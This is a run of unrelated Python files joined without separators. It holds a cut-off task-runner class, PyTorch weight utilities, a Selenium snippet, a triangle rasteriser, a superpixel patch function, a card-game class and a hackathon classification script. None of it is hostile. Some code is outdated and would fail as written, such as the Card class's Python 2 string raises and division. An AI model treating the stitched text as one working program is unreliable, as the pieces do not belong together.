        self.sources_yaml = [self.compiler.compile(o) for o in self.sources_yaml]
        # convert sources and outputs from strings in yaml
        # Now we can compile the other properties
        runner_config = {
            k: v for k, v in task_config.items() if k not in _excluded_properties
        }

        try:
            runner_config = map_nested(
                runner_config,
                lambda x: self.compiler.compile(x) if isinstance(x, str) else x,
            )
        except Exception as exc:
            return Exc(exc, where="compile_task_properties")

        self.runner = runner

        try:
            result = self.runner.config(**runner_config)
            if result is not None and result.is_err:
                self.status = TaskStatus.FAILED
                return result
        except Exception as exc:
            self.status = TaskStatus.FAILED
            return Exc(exc, where="task_config")

        # The config stage can produce changes to: tags, parents, sources, outputs and on_fail
        if hasattr(runner, "_config_input"):
            for source in runner._config_input["sources"]:
                self.src(source)

            for output in runner._config_input["outputs"]:
                self.out(output)

            for parent in runner._config_input["parents"]:
                self.parent_names.add(parent)

            for tag in runner._config_input["tags"]:
                self.tags.add(tag)

            if runner._config_input.get("on_fail") is not None:
                self.on_fail = runner._config_input["on_fail"]

            # A bit of cleaning on the user
            del runner._config_input

        # TODO relying on the task object having a certain property is not a solid method. Need to change it
        if "_target_db" in runner.__dict__:
            target_connection = self.connections[runner._target_db]
        else:
            target_connection = self.connections[self.default_db]

        self.outputs.update(
            {
                self.db_object_compiler.from_string(o, connection=target_connection)
                for o in self.outputs_yaml
            }
        )

        if "_source_db" in runner.__dict__:
            source_connection = self.connections[runner._source_db]
        elif "_target_db" in runner.__dict__:
            source_connection = self.connections[runner._target_db]
        else:
            source_connection = self.connections[self.default_db]

        self.sources.update(
            {
                self.db_object_compiler.from_string(o, connection=source_connection)
                for o in self.sources_yaml
            }
        )

        self.status = TaskStatus.READY_FOR_SETUP

        self.verify_connections()

        return Ok()

    def set_parameters(
        self, project_parameters: Dict[str, Any], task_parameters: Dict[str, Any]
    ):
        # Process parameters
        # The project parameters go as they come
        self.project_parameters = deepcopy(project_parameters or dict())

        # Compile nested dictionary of parameters
        task_parameters = task_parameters or dict()
        task_parameters = map_nested(
            task_parameters,
            lambda x: self.compiler.compile(x) if isinstance(x, str) else x,
        )
        self.task_parameters = task_parameters

        # Add the task paramters to the jinja environment
        self.compiler.update_globals(**task_parameters)

    def check_skip(self):
        if self.run_arguments["command"] != "test":
            failed_parents = {
                p.name: p.status
                for p in self.parents
                if (
                    p.status in (TaskStatus.SETUP_FAILED, TaskStatus.FAILED)
                    and p.on_fail != "no_skip"
                )
                or p.status == TaskStatus.SKIPPED
            }
        else:
            failed_parents = {}

        if len(failed_parents) > 0:
            self.status = TaskStatus.SKIPPED

            if self.in_query:
                return Err("task", "parent_errors", failed_parents=failed_parents)
            else:
                return Ok(self.status)

        elif self.status == TaskStatus.SETUP_FAILED:
            return Err("task", "setup_error", status=self.status)
        elif "fail" in self.status.value:
            return Err("task", "task_error", status=self.status)
        else:
            return Ok(self.status)

    def setup(self, in_query, sources_from_prod):
        # Check the parents are in a good state
        result = self.check_skip()
        if result.is_err or result.value == TaskStatus.SKIPPED:
            return result

        if self.runner is None:
            return Ok()

        self.in_query = in_query
        self.status = TaskStatus.SETTING_UP

        if not in_query:
            self.status = TaskStatus.NOT_IN_QUERY
            return Ok()
        else:
            # Clear all the dummy connections
            self.runner.connections = {
                n: None if isinstance(o, UnknownDb) else o
                for n, o in self.runner.connections.items()
            }

            needs_recompile = False
            for s in self.sources:
                if s in sources_from_prod:
                    needs_recompile = True

            self.runner._needs_recompile = needs_recompile

            self.sources_from_prod = sources_from_prod

            # Run the setup stage for the runner and return the results
            try:
                result = self.runner.setup()
            except Exception as exc:
                result = Exc(exc)

            finally:
                if result is None:
                    self.status = TaskStatus.READY
                    return Ok()
                elif not isinstance(result, Result):
                    self.status = TaskStatus.SETUP_FAILED
                    self.tracker.current_step = None
                    return Err("task_result", "missing_result_error", result=result)
                elif result.is_err:
                    self.status = TaskStatus.SETUP_FAILED
                    self.tracker.current_step = None
                    return result
                else:
                    self.status = TaskStatus.READY
                    return Ok()

    def should_run(self):
        return self.status == TaskStatus.NOT_IN_QUERY

    def run(self):
        return self.execute_task("run")

    def compile(self):
        return self.execute_task("compile")

    def test(self):
        return self.execute_task("test")

    def execute_task(self, command):
        result = self.check_skip()
        if result.is_err or result.value == TaskStatus.SKIPPED:
            return result

        if self.runner is None:
            return Ok()

        if not self.in_query:
            # TODO review this as it should never happend if running sayn cli
            self.status = TaskStatus.NOT_IN_QUERY
            return Err("execution", "task_not_in_query")
        elif self.status not in (TaskStatus.SETTING_UP, TaskStatus.READY):
            return Err("execution", "setup_error", status=self.status)
        else:
            try:
                if command == "run":
                    result = self.runner.run()
                elif command == "compile":
                    result = self.runner.compile()
                else:
                    result = self.runner.test()

                if result is None:
                    result = Ok()
                    self.status = TaskStatus.SUCCEEDED
                elif result.is_ok:
                    self.status = TaskStatus.SUCCEEDED
                else:
                    self.status = TaskStatus.FAILED
            except Exception as e:
                self.status = TaskStatus.FAILED
                result = Exc(e)

            return result

    def set_parents(self, all_tasks, output_to_task):
        for parent_name in self.parent_names:
            if parent_name not in all_tasks:
                return Err("dag", "missing_parents", missing={self.name: [parent_name]})
            self.parents.append(all_tasks[parent_name])
            self.parent_names.add(parent_name)

        missing = set()
        for source in self.sources:
            if source not in output_to_task:
                if source.connection_name == self.default_db:
                    # We only consider a missing parent if the
                    # source is in the default_db
                    missing.add(source)
            else:
                for task_name in output_to_task[source]:
                    if task_name not in self.parent_names:
                        self.parents.append(all_tasks[task_name])
                        self.parent_names.add(task_name)

        # TODO send some message when a table is source
        if len(missing) > 0:
            tables = ", ".join([f"{t.raw}" for t in missing])
            self.tracker.warning(
                f'No task creates table(s) "{tables}" referenced by task "{self.name}"'
            )

        return Ok()

    def src(self, obj, connection=None, level=None):
        obj = self.db_object_compiler.from_string(
            obj, connection=connection, level=level
        )
        if self.status == TaskStatus.CONFIGURING:
            # During configuration we add to the list and use values based on settings
            self.used_connections.add(obj.connection_name)
            self.sources.add(obj)

        return self.db_object_compiler.src_value(obj)

    def out(self, obj, connection=None, level=None):
        obj = self.db_object_compiler.from_string(
            obj, connection=connection, level=level
        )
        if self.status == TaskStatus.CONFIGURING:
            self.used_connections.add(obj.connection_name)
            self.outputs.add(obj)

        return self.db_object_compiler.out_value(obj)

    def verify_connections(self):
        if hasattr(self.runner, "_target_db"):
            self.used_connections.add(self.runner._target_db)

        if hasattr(self.runner, "_source_db"):
            self.used_connections.add(self.runner._source_db)
        return Ok()

    def has_tests(self):
        if self.runner is not None and self.runner._has_tests:
            return True

        return False


"""
nn.py
=====

Utility functions for working with NN weights and classes.
Includes utility function for monitoring GPU usage during NN training.

Created by: Maxim Ziatdinov (maxim.ziatdinov@ai4microscopy.com)
"""

import copy
import subprocess
from typing import Dict, List, Tuple, Type

import numpy as np
import torch
from torch.nn import (BatchNorm1d, BatchNorm2d, Conv1d, Conv2d,
                      ConvTranspose1d, ConvTranspose2d, Linear)

dc = copy.deepcopy

def load_weights(model: Type[torch.nn.Module],
                 weights_path: str) -> Type[torch.nn.Module]:
    """
    Loads weights saved as pytorch state dictionary into a model skeleton

    Args:
        model (pytorch object):
            Initialized pytorch model
        weights_path (str):
            Filepath to trained weights (pytorch state dict)

    Returns:
        Model with trained weights loaded in evaluation state

    Example:

        >>> from atomai.utils import load_weights
        >>> # Path to file with trained weights
        >>> weights_path = '/content/simple_model_weights.pt'
        >>> # Initialize model (by default all trained models are 'dilUnet')
        >>> # You can also use nb_classes=utils.nb_filters_classes(weights_path)[1]
        >>> model = models.dilUnet(nb_classes=3)
        >>> # Load the weights into the model skeleton
        >>> model = load_weights(model, weights_path)
    """
    torch.manual_seed(0)
    if torch.cuda.device_count() > 0:
        checkpoint = torch.load(weights_path)
    elif torch.backends.mps.is_available():
        checkpoint = torch.load(weights_path, map_location='mps')
    else:
        checkpoint = torch.load(weights_path, map_location='cpu')
    model.load_state_dict(checkpoint)
    return model.eval()

def average_weights(ensemble: Dict[int, Dict[str, torch.Tensor]]) -> Dict[str, torch.Tensor]:
    """
    Averages weights of all models in the ensemble

    Args:
        ensemble (dict):
            Dictionary with trained weights (model's state_dict)
            of models with exact same architecture.

    Returns:
        Averaged weights (as model's state_dict)
    """
    ensemble_state_dict = dc(ensemble[0])
    names = [name for name in ensemble_state_dict.keys() if
             name.split('_')[-1] not in ["mean", "var", "tracked"]]
    for name in names:
        w_aver = []
        for model in ensemble.values():
            for n, p in model.items():
                if n == name:
                    w_aver.append(dc(p))
        ensemble_state_dict[name].copy_(sum(w_aver) / float(len(w_aver)))
    return ensemble_state_dict

def sample_weights(ensemble: Dict[int, Dict[str, torch.Tensor]],
                   n_samples: int = 30) -> Dict[int, Dict[str, torch.Tensor]]:
    """
    Calculate the mean and standard deviation for each trainable parameter
    and use them to draw samples for each parameter independently according to
    :math:`\\theta_i \\sim N(\\mu_i, \\sigma_i)`

    Args:
        ensemble (dict):
            Dictionary with trained weights of models
            with the exact same architecture

    Returns:
        Updated dictionary with sampled weights
    """
    ensemble_ = {i: dc(ensemble[0])
                 for i in range(n_samples)}
    ensemble_state_dict = ensemble[0]
    names = [name for name in ensemble_state_dict.keys() if
             name.split('_')[-1] not in ["mean", "var", "tracked"]]
    for name in names:
        w_all = []
        for model in ensemble.values():
            for n, p in model.items():
                if n == name:
                    w_all.append(dc(p)[None, ...])
        w_all = torch.cat(w_all, dim=0)
        if w_all.dtype == torch.float32:
            w_all_mu = torch.mean(w_all, axis=0)
            w_all_std = torch.std(w_all, axis=0)
            ndist = torch.distributions.Normal(w_all_mu, w_all_std)
            for i in range(n_samples):
                ensemble_[i][name].copy_(ndist.sample())
    return ensemble_

def gpu_usage_map(cuda_device: int) -> int:
    """
    Get the current GPU memory usage
    Adapted with changes from
    https://discuss.pytorch.org/t/access-gpu-memory-usage-in-pytorch/3192/4
    """
    result = subprocess.check_output(
        [
            'nvidia-smi', '--id=' + str(cuda_device),
            '--query-gpu=memory.used,memory.total,utilization.gpu',
            '--format=csv,nounits,noheader'
        ], encoding='utf-8')
    gpu_usage = [int(y) for y in result.split(',')]
    return gpu_usage[0:2]

def set_train_rng(seed: int = 1):
    """
    For reproducibility
    """
    np.random.seed(seed)
    torch.manual_seed(seed)
    if torch.cuda.is_available():
        torch.cuda.empty_cache()
        torch.cuda.manual_seed_all(seed)
        torch.backends.cudnn.deterministic = True
        torch.backends.cudnn.benchmark = False

def set_seed_and_precision(seed: int = 42, precision: str = "double", **kwargs):
    """Sets the tensor type and seed"""
    if precision == 'single':
        tensor_type = torch.FloatTensor
        tensor_type_gpu = torch.cuda.FloatTensor
    else:
        tensor_type = torch.DoubleTensor
        tensor_type_gpu = torch.cuda.DoubleTensor
    np.random.seed(seed)
    torch.manual_seed(seed)
    if torch.cuda.is_available():
        torch.cuda.empty_cache()
        torch.cuda.manual_seed_all(seed)
        torch.backends.cudnn.deterministic = True
        torch.backends.cudnn.benchmark = False
        torch.set_default_tensor_type(tensor_type_gpu)
    else:
        torch.set_default_tensor_type(tensor_type)

class Hook():
    """
    Returns the input and output of a
    layer during forward/backward pass
    see https://www.kaggle.com/sironghuang/
        understanding-pytorch-hooks/notebook

    Args:
        module (torch module): single layer or sequential block
        backward (bool): replace forward_hook with backward_hook
    """
    def __init__(self, module: Type[torch.nn.Module], backward: bool = False) -> None:
        if backward is False:
            self.hook = module.register_forward_hook(self.hook_fn)
        else:
            self.hook = module.register_backward_hook(self.hook_fn)

    def hook_fn(self, module: Type[torch.nn.Module],
                input_: Tuple[torch.Tensor], output_: torch.Tensor) -> None:
        self.input = input_
        self.output = output_

    def close(self) -> None:
        self.hook.remove()

def mock_forward(model: Type[torch.nn.Module],
                 dims: Tuple[int] = (1, 64, 64)) -> torch.Tensor:
    """
    Passes a dummy variable throuh a network
    """

    x = torch.randn(1, *dims)
    if next(model.parameters()).is_cuda:
        x = x.cuda()
    elif next(model.parameters()).is_mps:
        mps_device = torch.device("mps")
        x = x.to(mps_device)
    out = model(x)
    return out

def get_nb_classes(model: Type[torch.nn.Module]) -> int:
    """
    Gets number of classes used in a fully convolutional NN
    """
    hookF = [Hook(layer[1]) for layer in list(model._modules.items())]
    mock_forward(model)
    nb_classes = [hook.output.shape for hook in hookF][-1][1]
    return nb_classes

def get_downsample_factor(model: Type[torch.nn.Module]) -> int:
    """
    Gets a downsample factor for UNet-like architectures
    """
    hookF = [Hook(layer[1]) for layer in list(model._modules.items())]
    mock_forward(model)
    imsize = [hook.output.shape[-1] for hook in hookF]
    return max(imsize) / min(imsize)

def dummy_optimizer() -> Type[torch.optim.Optimizer]:
    """
    Returns initialized "dummy" optimizer
    """
    return torch.optim.Optimizer([torch.zeros(1)], dict())

def weights_init(module):
    imodules = (Conv1d, Conv2d, ConvTranspose1d, ConvTranspose2d, Linear)
    if isinstance(module, imodules):
        torch.nn.init.xavier_uniform_(module.weight.data)
        torch.nn.init.zeros_(module.bias)

def reset_bnorm(module):
    imodules = (BatchNorm1d, BatchNorm2d)
    if isinstance(module, imodules):
        module.reset_running_stats()
        module.reset_parameters()

def nb_filters_classes(weights_path: str) -> Tuple[int]:
    """
    Inferes the number of filters and the number of classes
    used in trained AtomAI models from the loaded weights.

    Args:
        weight_path (str):
            Path to file with saved weights (.pt extension)

    """
    checkpoint = torch.load(weights_path, map_location='cpu')
    tensor_shapes = [v.shape for v in checkpoint.values() if len(v.shape) > 1]
    nb_classes = tensor_shapes[-1][0]
    nb_filters = tensor_shapes[0][0]
    return nb_filters, nb_classes

def combine_classes(coord_class_dict: Dict[int, np.ndarray],
                    classes_to_combine: List[int],
                    renumerate: bool = True) -> Dict[int, np.ndarray]:
    """
    Combines classes in a dictionary from atomnet.locator or atomnet.predictor outputs
    """
    coord_class_dict_ = dc(coord_class_dict)
    for i in range(len(coord_class_dict_)):
        coord_class_dict_[i][:, -1] = combine_classes_(
            coord_class_dict_[i][:, -1], classes_to_combine)
    if renumerate:
        coord_class_dict_ = renumerate_classes(coord_class_dict_)
    return coord_class_dict_

def combine_classes_(classes_all: np.ndarray,
                     classes_to_combine: List[int]) -> np.ndarray:
    """
    Given a list of classes to combine substitutes listed classes
    with a minimum value from the list
    """
    for comb in classes_to_combine:
        cls_min = min(comb)
        for c in comb:
            classes_all[classes_all == c] = cls_min
    return classes_all

def renumerate_classes_(classes: np.ndarray,
                        start_from_1: bool = True) -> np.ndarray:
    """
    Renumerate classes such that they are ordered starting from 1 or 0
    with an increment of 1
    """
    diff = np.unique(classes) - np.arange(len(np.unique(classes)))
    diff_d = {cl: d for d, cl in zip(diff, np.unique(classes))}
    classes_renum = [cl - diff_d[cl] for cl in classes]
    classes_renum = np.array(classes_renum, dtype=np.float)
    if start_from_1:
        classes_renum = classes_renum + 1
    return classes_renum

def renumerate_classes(coord_class_dict: Dict[int, np.ndarray],
                       start_from_1: bool = True) -> Dict[int, np.ndarray]:
    """
    Renumerate classes in a dictionary from atomnet.locator or atomnet.predictor output
    such that they are ordered starting from 1 or 0 with an increment of 1
    """
    coord_class_dict_ = dc(coord_class_dict)
    for i in range(len(coord_class_dict)):
        coord_class_dict_[i][:, -1] = renumerate_classes_(
            coord_class_dict_[i][:, -1], start_from_1=True)
    return coord_class_dict_

def channels2indices(mask: np.ndarray):
    """
    Maps target classes to tensor indices.

    Args:
        mask: n x h x w x n_channels numpy array
        where the last channel corresponds to a background
    """
    mask_sq = np.zeros(mask.shape[:-1])
    for c in range(mask.shape[-1]):
        mask_sq += mask[..., c] * c
    return mask_sq


from selenium import webdriver
from lxml import etree

browser = webdriver.Chrome()
browser.get("https://techstepacademy.com/trial-of-the-stones")
tree = etree.HTML(browser.page_source)

divs = browser.find_elements_by_xpath(".//div/span/..")
x = tree.findall(".//div/span/..")

print(x)


import numpy as np

def blit_tri(x0, y0, result=None, tri_value=1):
    '''
    x0, y0: array(3,) x and y positions of triangle corners in pixel units.
            The pixel grid is defined with corners at (xp, yp) for every integer xp and yp.
    Returns: array(n,m) representing the fractional overlap of the triangle with each pixel in its bounding box.
    '''
    ysort = np.argsort(y0)
    xsort = np.argsort(x0)
    x = x0[ysort] - np.floor(x0[xsort[0]])
    y = y0[ysort] - np.floor(y0[ysort[0]])
    xsort = np.argsort(x)

    x_p = np.arange(np.floor(x[xsort[2]]+2))
    y_p = np.arange(np.floor(y[2]+2))
    X, Y = np.meshgrid(x_p, y_p, indexing='ij')
    Xc = centre_mean(X)
    Yc = centre_mean(Y)

    if result is None:
        result = np.zeros_like(Xc)
    elif result.shape != Xc.shape:
        print(f'Specified result array wrong shape: {result.shape} should be {Xc.shape}')

    if result.shape == (1, 1):
        #print('degenerate triangle')
        result[0,0] += tri_value
        return result

    vert_scanlines = np.zeros((3, 3))
    x_intersect = x[0] + (y[1] - y[0]) * (x[2] - x[0]) / (y[2] - y[0])
    vert_scanlines[0, :] = y[0], x[0], x[0]
    vert_scanlines[1, :] = y[1], x[1], x_intersect
    vert_scanlines[2, :] = y[2], x[2], x[2]
    if y[0] == y[1]:
        vert_scanlines = vert_scanlines[1:,:]
    elif y[2] == y[1]:
        vert_scanlines = vert_scanlines[:-1,:]

    # calculate scanlines from edges intersecting the x-grid
    # This edge is the upper one
    jx0 = 1 + np.arange(*sorted((np.floor(x[1]), np.floor(x[2]))))
    scanlines_edge_0 = np.zeros((jx0.size, 3))
    scanlines_edge_0[:,0] = y[1] + (jx0 - x[1]) * (y[2] - y[1]) / (x[2] - x[1])
    scanlines_edge_0[:,1] = jx0
    scanlines_edge_0[:,2] = x[0] + (scanlines_edge_0[:,0] - y[0]) * (x[2] - x[0]) / (y[2] - y[0])

    # This is the one which hits the top and bottom vert
    jx1 = 1 + np.arange(*sorted((np.floor(x[2]), np.floor(x[0]))))
    scanlines_edge_1 = np.zeros((jx1.size, 3))
    scanlines_edge_1[:,0] = y[2] + (jx1 - x[2]) * (y[0] - y[2]) / (x[0] - x[2])
    scanlines_edge_1[:,1] = jx1
    top = scanlines_edge_1[:,0] > y[1]
    bot = scanlines_edge_1[:,0] < y[1]
    scanlines_edge_1[top,2] = x[1] + (scanlines_edge_1[top,0] - y[1]) * (x[2] - x[1]) / (y[2] - y[1])
    scanlines_edge_1[bot,2] = x[0] + (scanlines_edge_1[bot,0] - y[0]) * (x[1] - x[0]) / (y[1] - y[0])
    scanlines_edge_1 = scanlines_edge_1[top | bot, :]

    # This is the lower one
    jx2 = 1 + np.arange(*sorted((np.floor(x[0]), np.floor(x[1]))))
    scanlines_edge_2 = np.zeros((jx2.size, 3))
    scanlines_edge_2[:,0] = y[0] + (jx2 - x[0]) * (y[1] - y[0]) / (x[1] - x[0])
    scanlines_edge_2[:,1] = jx2
    scanlines_edge_2[:,2] = x[0] + (scanlines_edge_2[:,0] - y[0]) * (x[2] - x[0]) / (y[2] - y[0])

    # Now do pixel ceilings and floors
    scanlines_pixel = np.zeros((y_p.size - 2, 3))
    scanlines_pixel[:,0] = y_p[1:-1]
    scanlines_pixel = scanlines_pixel[
            (scanlines_pixel[:,0] != y[0]) &
            (scanlines_pixel[:,0] != y[1]) &
            (scanlines_pixel[:,0] != y[2]), :
        ]
    scanlines_pixel[:,1] = x[0] + (scanlines_pixel[:,0] - y[0]) * (x[2] - x[0]) / (y[2] - y[0])

    top = scanlines_pixel[:,0] >= y[1]
    scanlines_pixel[ top,2] = x[1] + (scanlines_pixel[ top,0] - y[1]) * (x[2] - x[1]) / (y[2] - y[1])
    scanlines_pixel[~top,2] = x[0] + (scanlines_pixel[~top,0] - y[0]) * (x[1] - x[0]) / (y[1] - y[0])

    all_scanlines = np.concatenate((vert_scanlines, scanlines_edge_0, scanlines_edge_1, scanlines_edge_2, scanlines_pixel), axis=0)
    sort_scans = np.argsort(all_scanlines[:,0])
    sorted_scanlines = all_scanlines[sort_scans,:]
    sorted_scanlines[:,1:].sort()

    scanpoints = (sorted_scanlines[1:,:] + sorted_scanlines[:-1,:])/2
    Dy = np.diff(sorted_scanlines[:,0])

    partial_result = np.zeros_like(x_p[:-1])
    all_partial_results = np.zeros((partial_result.size, scanpoints.shape[0]))

    tri_area = abs(x[0] * y[1] - y[0] * x[1] + x[1] * y[2] - y[1] * x[2] + x[2] * y[0] - y[2] * x[0])/2
    tri_intensity = tri_value / tri_area

    for i, (point, dy) in enumerate(zip(scanpoints, Dy)):
        partial_result[:] = 0
        px = np.floor(point).astype(int)
        partial_result[px[1]:px[2]+1] = 1
        partial_result[px[1]] -= point[1] - px[1]
        partial_result[px[2]] -= px[2] + 1 - point[2]
        all_partial_results[:, i] = partial_result
        result[:, px[0]] += partial_result * dy * tri_intensity

    return result

def centre_mean(var):
    return (var[1:, 1:] + var[:-1,1:] + var[1:,:-1] + var[:-1,:-1]) / 4

def centre_prod(var):
    return (var[1:, 1:] * var[:-1,1:] * var[1:,:-1] * var[:-1,:-1])


# import packages
from skimage.segmentation import slic
from skimage.measure import regionprops

import cv2
import numpy as np
import random
import torch

from detect_pixels import is_pixel_in_box

def get_patch(image, num_segments, ratio):
    segments = slic(image, n_segments = num_segments, sigma = 5, start_label=1)
    num_superpixels = len(np.unique(segments))

    # get masks list
    masks = random.sample(range(1, num_superpixels), k = int(ratio * num_superpixels))

    # number of not masked superpixels
    num_slected = len(np.unique(segments)) - len(np.unique(masks))

    # create masked image
    for i in masks:
        segments[segments == i] = 0

    # mask image
    image[segments == 0] = 0

    # test if segments are masked
    assert len(np.unique(segments)) in range(num_slected, num_superpixels + 1)

    # test if all pixels are in box
    assert is_pixel_in_box(segments) == True

    # define patches container
    patches_container = []
    original_image = image.copy()
    original_segments = segments.copy()

    for i in np.unique(segments):
        segments[segments != i] = 0
        image[segments == 0] = 0

        for region in regionprops(segments):
            minr, minc, maxr, maxc = region.bbox

            # add patches to container
            patches = image[minr:maxr, minc:maxc]
            patches_container.append(patches)

        segments = original_segments.copy()
        image = original_image.copy()

    # return a list of patches
    return patches_container


'''
@author: MattYi, University of Washington
@date: 11/17/2015
'''
#from __builtin__ import False

# This file defines the class of card

class Card(object):
    def __init__(self,cid):
        #id of card ranges from 0 to 53
        #For method to convert from id to Card see self.getCard()
        if cid>=0 and cid<=53:
            self.__id = cid
        else:
            raise "wrong card id!"
    def __eq__(self,other):
        """
        DESCRIPTION:
            used to compare to different card objects
        """
        return self.__id == other.getID()

    # tested
    def getSuit(self):
        if self.getID() == 52:
            return "Black"
        if self.getID() == 53:
            return "Red"
        sList = ["Spade", "Heart", "Club", "Diamond"]
        return sList[self.getID()/13]

    # tested
    def getRank(self):
        if self.getID() > 51:
            return "Joker"
        else:
            rList = ['2','3','4','5','6','7','8','9','10','J','Q','K','A']
            return rList[self.getID()%13]

    # tested
    def getID(self):
        return self.__id

    def __str__(self):
        return self.getSuit() + ' ' + self.getRank()
    # tested
    def isTrump(self, tRank, tSuit):
        # input is string
        # if there is no trump suit, tSuit == "None"
        # the implementation ensures that if there is no trump in this game, any tSuit would be OK
        sList = ["Spade", "Heart", "Club", "Diamond"]
        rList = ['2','3','4','5','6','7','8','9','10','J','Q','K','A']
        cid = self.getID()
        if cid>51:
            return True
        s = sList[cid/13]
        r = rList[cid%13]
        if s==tSuit or r==tRank:
            return True
        return False

    # tested
    def getScore(self):
        if self.getRank() in ['10', 'K']:
            return 10
        if self.getRank() == '5':
            return 5
        return 0
    '''
    # tested
    def isNext(self, cd, tRank, tSuit):
        s = self.getSuit()
        r = self.getRank()
        rList = ['2','3','4','5','6','7','8','9','10','J','Q','K','A']
        rList.remove(tRank)
        if not self.isTrump(tRank, tSuit):
            if s != cd.getSuit():
                return False
            if rList[-1] == r:
                return False
            return rList[rList.index(r)+1] == cd.getRank()
        if not cd.isTrump(tRank, tSuit):
            return False
        if r in rList:
            if r == rList[-1]:
                return cd.getRank() == tRank and cd.getSuit() != tSuit
            elif cd.getRank() in rList:
                return rList.index(r) + 1 == rList.index(cd.getRank())
            else:
                return False
        if self.getID() == 52:  # self is black joker
            return cd.getID() == 53
        if self.getID() == 53:  # self is red joker
            return False
        if tSuit != "None":
            if r == tRank and s == tSuit:
                return cd.getID() == 52
            if r == tRank and s!= tSuit:
                return cd.getRank() == tRank and cd.getSuit() == tSuit
        else:
            if r == tRank:
                return cd.getID() == 52

    # tested
    def compare(self, cd, tRank, tSuit):
        rList = ['2','3','4','5','6','7','8','9','10','J','Q','K','A']
        if self.isTrump(tRank, tSuit) and cd.isTrump(tRank, tSuit):
            rList.remove(tRank)
            rList.append(tRank)
            rList.append("Joker")
            if rList.index(self.getRank()) > rList.index(cd.getRank()):
                return 1
            elif rList.index(self.getRank()) < rList.index(cd.getRank()):
                return -1
            else:
                if self.getRank() == tRank:
                    if self.getSuit() == cd.getSuit():
                        return 0
                    elif self.getSuit() == tSuit:
                        return 1
                    else:
                        return -1
                if self.getRank() == "Joker":
                    if self.getSuit() == cd.getSuit():
                        return 0
                    elif self.getSuit() == "Red":
                        return 1
                    else:
                        return -1

        if (not self.isTrump(tRank, tSuit)) and (not cd.isTrump(tRank, tSuit)):
            if self.getSuit() == cd.getSuit():
                if rList.index(self.getRank()) > rList.index(cd.getRank()):
                    return 1
                elif rList.index(self.getRank()) < rList.index(cd.getRank()):
                    return -1
                else:
                    return 0
            else:
                raise "different suit, cannot compare!"
        else:
            if self.isTrump(tRank, tSuit):
                return "First is Trump"
            else:
                return "Second is Trump"
    '''


# -*- coding: utf-8 -*-
"""
Created on Tue Sep 18 23:10:18 2018

@author: sparachi
"""
###################################################################################
###Importing Essential base Libraries::
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import os
import sys
from sklearn.preprocessing import LabelEncoder,OneHotEncoder
from sklearn.model_selection import train_test_split
from sklearn.model_selection import StratifiedKFold
from sklearn.linear_model import LogisticRegression
from sklearn.metrics import confusion_matrix,classification_report

##Setting workning directory::
print (os.getcwd())
os.chdir('D:\Koushik\CG\Hackathon\HealthCare_Hackathone_DataSet_CG\Capstone Project')
print (os.getcwd())

###loading Data sets:::
Train_Data= pd.read_csv('train Data.csv')
Train_labels= pd.read_csv('train labels.csv')

############################
## Preprocessing of Data includes handling missing values by eliminating those features who's missing count is >7000,
##Converting Categorical features using dummies,Scalling Numerical features using Standered scalling,

#Verifying for missing values:::
Train_Data.dtypes
Train_Data.isnull().sum()
Train_labels.isnull().sum()

##Dropping columns who's sum of missing values count is eqauls to 7000.::
Train_Data.dropna(how='all',inplace=True,axis=1,thresh=7000)

##Imputing data with mean median mode respectively::
for col in Train_Data:
    if Train_Data[col].isnull().sum() > 0:
        if str(Train_Data[col].dtype) == 'category':
           Train_Data[col] = Train_Data[col].fillna(value = Train_Data[col].mode()[0])
        elif (str(Train_Data[col].dtype) == 'int64'):
           Train_Data[col] = Train_Data[col].fillna(value = Train_Data[col].mean())
        elif (str(Train_Data[col].dtype) == 'float64'):
           Train_Data[col] = Train_Data[col].fillna(value = Train_Data[col].mean())
        elif (str(Train_Data[col].dtype) == 'object'):
            Train_Data[col] = Train_Data[col].fillna(value = Train_Data[col].mode()[0])
    else:
        pass

Train_Data.head()
type(Train_Data)

##Handling Categorical features using dummies function::
Train_Data.head()
Train_Data=pd.get_dummies(Train_Data,drop_first=True)
Train_Data.head()

############################################################
#Feature Elimination::
###Building Random Forest Classifier to find feature_importances:

from sklearn.ensemble import RandomForestClassifier

y_Train = pd.DataFrame(Train_labels.iloc[:,1])
X_Train = pd.DataFrame(Train_Data.iloc[:, 0:])

X_train, X_test, y_train, y_test = train_test_split(X_Train, y_Train,
                                                    test_size=0.20)

rf = RandomForestClassifier(n_estimators=100,criterion='gini',max_depth=50 ,max_features='auto',n_jobs=-1)
rf.fit(X_train, y_train)
rf.score(X_test, y_test)
feature_importances = pd.DataFrame(rf.feature_importances_,
                                   index = X_train.columns,
                                    columns=['importance']).sort_values('importance',ascending=False)

print(feature_importances.head(n=20))

##Collected top 50 Unique features list of important/major contributors of further model building for all 14 target variables.:::
Top_50_feature = ['c_1259_n', 'n_0108', 'n_0078', 'n_0002', 'c_1259_i', 'c_1029_s', 'c_1033_h', 'c_1190_s',
                  'c_0835_v',  'c_1225_n', 'id', 'n_0012', 'c_1247_o', 'c_1172_s', 'o_0176', 'c_1109_x',
                  'c_0391_g', 'c_0944_i', 'n_0086', 'n_0102','c_1003_b','c_1190_s','c_1247_o','n_0012',
                  'c_0944_i','o_0176','c_1172_s','c_1109_x','c_0965_h','c_1045_h','n_0102','o_0141',
                  'n_0083','o_0201','c_1259_e','c_0391_c','o_0279','c_1225_j','n_0109','c_1029_e','c_1172_w',
                  'o_0301','o_0125','c_0835_p','c_0965_i','c_1033_o','o_0175','n_0100','c_0554_b','n_0064',
                  'o_0168','o_0268','o_0270','c_1259_b','o_0120','o_0223','c_1259_c','c_1316_b','o_0241',
                  'c_0591_g','c_0749_m']

###########################################For Train_Data.csv##################
##Spilting Data for Trainning and Test Data on Train_Data.csv and sampling using Statifies samopling.
######Model For First Target Variable.
y_Train = pd.DataFrame(Train_labels.iloc[:,1])
X_Train = pd.DataFrame(Train_Data.iloc[:, :],columns= Top_50_feature)

#Here considering y_Train[:,1] only, because we are about to build base logistic model
X_train, X_test, y_train, y_test = train_test_split(X_Train, y_Train,
                                                    test_size=0.20,
                                                    random_state=143)

### Building Logisticregression model::
model = LogisticRegression(C=1.0,class_weight='balanced', solver='newton-cg', multi_class='ovr' )
model = model.fit(X_train, y_train)
y_pred = model.predict(X_test)

## Classification report::
print(classification_report(y_test, y_pred))

####Implementing OneVsRestClassifier to habndel all 14 target variables::::
from sklearn.multiclass import OneVsRestClassifier
from sklearn.metrics import jaccard_similarity_score

y_Train = pd.DataFrame(Train_labels.iloc[:,1:])
X_Train = pd.DataFrame(Train_Data.iloc[:, :],columns= Top_50_feature)

X_train, X_test, y_train, y_test = train_test_split(X_Train, y_Train,
                                                    test_size=0.20,
                                                    random_state=143)

